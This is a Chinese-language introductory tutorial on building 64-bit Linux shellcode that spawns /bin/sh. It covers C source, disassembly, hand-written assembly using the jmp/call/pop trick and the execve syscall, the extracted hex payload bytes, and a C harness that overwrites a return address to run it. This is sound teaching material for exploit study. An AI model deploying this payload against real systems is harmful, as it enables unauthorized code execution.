黑客攻防入门（二）shellcode构造

1. 概说

shell我们都知道是什么了吧！ 狭义的shellcode 就是一段可以运行shell的代码！

构造一段shellcode的作用就是为了在缓冲区溢出时将shellcode的地址覆盖掉正常的返回地址。

shellcode通常放在缓冲区内，也可以通过环境变量存入堆内，也可以通过动态内存放入堆区。

下面我们学习一下怎样构造shellcode。

注意： 我是在Centos 64位的系统下进行测试和构建shellcode的，shellcode的高级技巧可以支持不同平台的移植，但下面构建的shellcode并不适合多平台。

2. shellcode源代码

下面是shellcode的c代码

#include 
#include 

int main(int argc, char *argv[])
{
    char *code[2];
    code[0] = "/bin/sh";
    code[1] = NULL;

    execve(code[0], code, NULL);

    return 0;
}

以上代码编译运行可以得到一个shell（命令行）。

1. execve 是 Unix/Linux下exec函数，Linux一般是用fork创建新进程，用exec来执行新的程序
2. exec有六个函数，其中只有execve是系统调用，其它五个exec函数最后都要调用execve。

3. 反汇编

我们将上面的代码进行编译，然后反汇编。

编译： gcc -o shellcode shellcode.c
反汇编：objdump -d shellcode > shellcode.s

shellcode.s 是我们得到的反汇编代码， 我们只需要关注main部分的：

0000000000400530 
:
  400530:       55                      push   %rbp
  400531:       48 89 e5                mov    %rsp,%rbp
  400534:       48 83 ec 20             sub    $0x20,%rsp
  400538:       89 7d ec                mov    %edi,-0x14(%rbp)
  40053b:       48 89 75 e0             mov    %rsi,-0x20(%rbp)
  40053f:       48 c7 45 f0 00 06 40    movq   $0x400600,-0x10(%rbp)
  400546:       00 
  400547:       48 c7 45 f8 00 00 00    movq   $0x0,-0x8(%rbp)
  40054e:       00 
  40054f:       48 8b 45 f0             mov    -0x10(%rbp),%rax
  400553:       48 8d 4d f0             lea    -0x10(%rbp),%rcx
  400557:       ba 00 00 00 00          mov    $0x0,%edx
  40055c:       48 89 ce                mov    %rcx,%rsi
  40055f:       48 89 c7                mov    %rax,%rdi
  400562:       e8 b9 fe ff ff          callq  400420 @plt>
  400567:       b8 00 00 00 00          mov    $0x0,%eax
  40056c:       c9                      leaveq
  40056d:       c3                      retq
  40056e:       66 90                   xchg   %ax,%ax

参照上面的反汇编代码，我们手工用汇编语言重写上面的shellcode.c，如下：

.section .text
.global _start
_start:
jmp     cl
pp: popq %rcx
pushq   %rbp
mov     %rsp, %rbp
subq    $0x20, %rsp
movq    %rcx, -0x10(%rbp)
movq    $0x0,-0x8(%rbp)
mov     $0, %edx
lea     -0x10(%rbp), %rsi
mov     -0x10(%rbp), %rdi
mov     $59, %rax
syscall
cl:call pp
.ascii "/bin/sh"

上面的汇编代码，我们保存为文件： scode.s

shellcode的模板一般都是这样的：
jmp xxx
pop xxx
xxxxxxxx
call pop address
.string

这里面的一个jmp和一个call首尾呼应，是shellcode用来得到.string里面内容的一个好办法

想要编写shellcode，就要理解目的程序调用shellcode时的难点，下面是上面的汇编代码的解释：

shellcode最麻烦的一点就是要将字符串“/bin/sh”作为参数传递，shellcode被写入缓冲区后，代码的位置是不固定的，为了能够得到”/bin/sh”这个字符串，黑客们利用call指令，因为call指令执行的第一个动作就是将下一条指令的地址压栈，我们把字符串安排在call后，目的就是要把它压入栈中。

1. scode.s入口第一条指令： jmp cl #这是跳到cl标签处，亦即 call pp。
2. call pp #将字符串压栈，同时返回到上面pp标签处
3. popq %rcx #将字符串”/bin/sh”的地址存入rcx（通用寄存器），这里可以选择其它寄存器。

4. 接下来的三条指令是建立一个新的栈空间：
   　　　　　　　　　　　　　　　　　　　　pushq %rbp
   　　　　　　　　　　　　　　　　　　　　mov %rsp, %rbp
   　　　　　　　　　　　　　　　　　　　　subq $0x20, %rsp
   在真正注入的shellcode代码里，可以不用创建这个栈，但这里演示程序在单独执行时，”/bin/sh”字符串是放在了代码段里，是不允许修改的空间，所以要建栈将这个字符串复制过去。

5. movq %rcx, -0x10(%rbp) 　　#将字符串复制到栈

6. movq $0x0,-0x8(%rbp)　　　#创建调用exec时的参数name[1]，将它置0.
7. lea -0x10(%rbp), %rsi 　　#这是execve第二个参数，它需要**类型，所以用lea传送地址给rsi。
8. mov -0x10(%rbp), %rdi 　　#mov将字符串传给rdi，这是execve第一个参数。
9. mov $59, %rax 　　#这个59是execve的系统调用号，在/usr/include/asm/unistd_64.h里可以查询到.
10. syscall 　　　　　　#系统调用， 这个可以取代 int 0x80 .

不用考虑返回退出，代码基本无问题，下面进行编译和连接。

编译：　　as -o scode.o scode.s
连接： 　ld -o scode scode.o
用objdump反汇编scode，主要目的是提取二进制机器码，为了方便显示，二进制一般表示为十六进制。
这里有一条命令，可以直接输出到可以用在c语言的shellcode：

for i in $(objdump -d scode | grep “^ ” |cut -f2); do echo -n ‘\x’$i; done;

最后得到的shellcode代码如下：

\xeb\x2b\x59\x55\x48\x89\xe5\x48\x83\xec\x20\x48\x89\x4d\xf0\x48\xc7\x45\xf8\x00\x00\x00\x00\xba\x00\x00\x00\x00\x48\x8d\x75\xf0\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b\x00\x00\x00\x0f\x05\xe8\xd0\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68

4. 测试shellcode

下是用c语言写一个测试shellcode的程序：

#include 

unsigned char code[] =  "\xeb\x2b\x59\x55\x48\x89\xe5\x48"
                        "\x83\xec\x20\x48\x89\x4d\xf0\x48"
                        "\xc7\x45\xf8\x00\x00\x00\x00\xba"
                        "\x00\x00\x00\x00\x48\x8d\x75\xf0"
                        "\x48\x8b\x7d\xf0\x48\xc7\xc0\x3b"
                        "\x00\x00\x00\x0f\x05\xe8\xd0\xff"
                        "\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
; /*  code 就是我们上面构造的 shellcode */

void main(int argc, char *argv[])
{
    long *ret;
    ret = (long *)&ret + 2;
    (*ret) = (long)code;
}

1. 因为是64位系统，地址是有64位宽度的，所以要用long类型
2. ret 作为main的第一个局部变量，它必定是存储在main的栈空间内，其中long * ret 这条指令占据了一个64位， 当ret地址加1（64位）时，ret就到到达栈的基址位置（rbp），我在（一）这文章里分析过，main函数的返回地址还在栈基址之上的高地址中，它距离rbp还有64位宽度，所以ret需要加上2（2个64位）才能到达main的返回地址的保存位置。
3. (*ret) = (long)code ， 很明显就是要用code的地址将main返回地址覆盖。

另外，由于系统设置了堆栈运行保护，gcc编译时需要使用参数：-fno-stack-protector -z execstack

5. shellcode 之后

shellcode 除了取得shell外，还有很多不同的功能，构建shellcode还有很多不同的方法，这里只是很基本的方法。

现代系统都有堆栈运行保护，有方法可以绕过这些保护不？

答案是有的，所谓道高一尺，魔高一丈！

上面的shellcode并不涉及缓冲区溢出，亦不适用缓冲区溢出，原因是什么呢？

且看下回分解。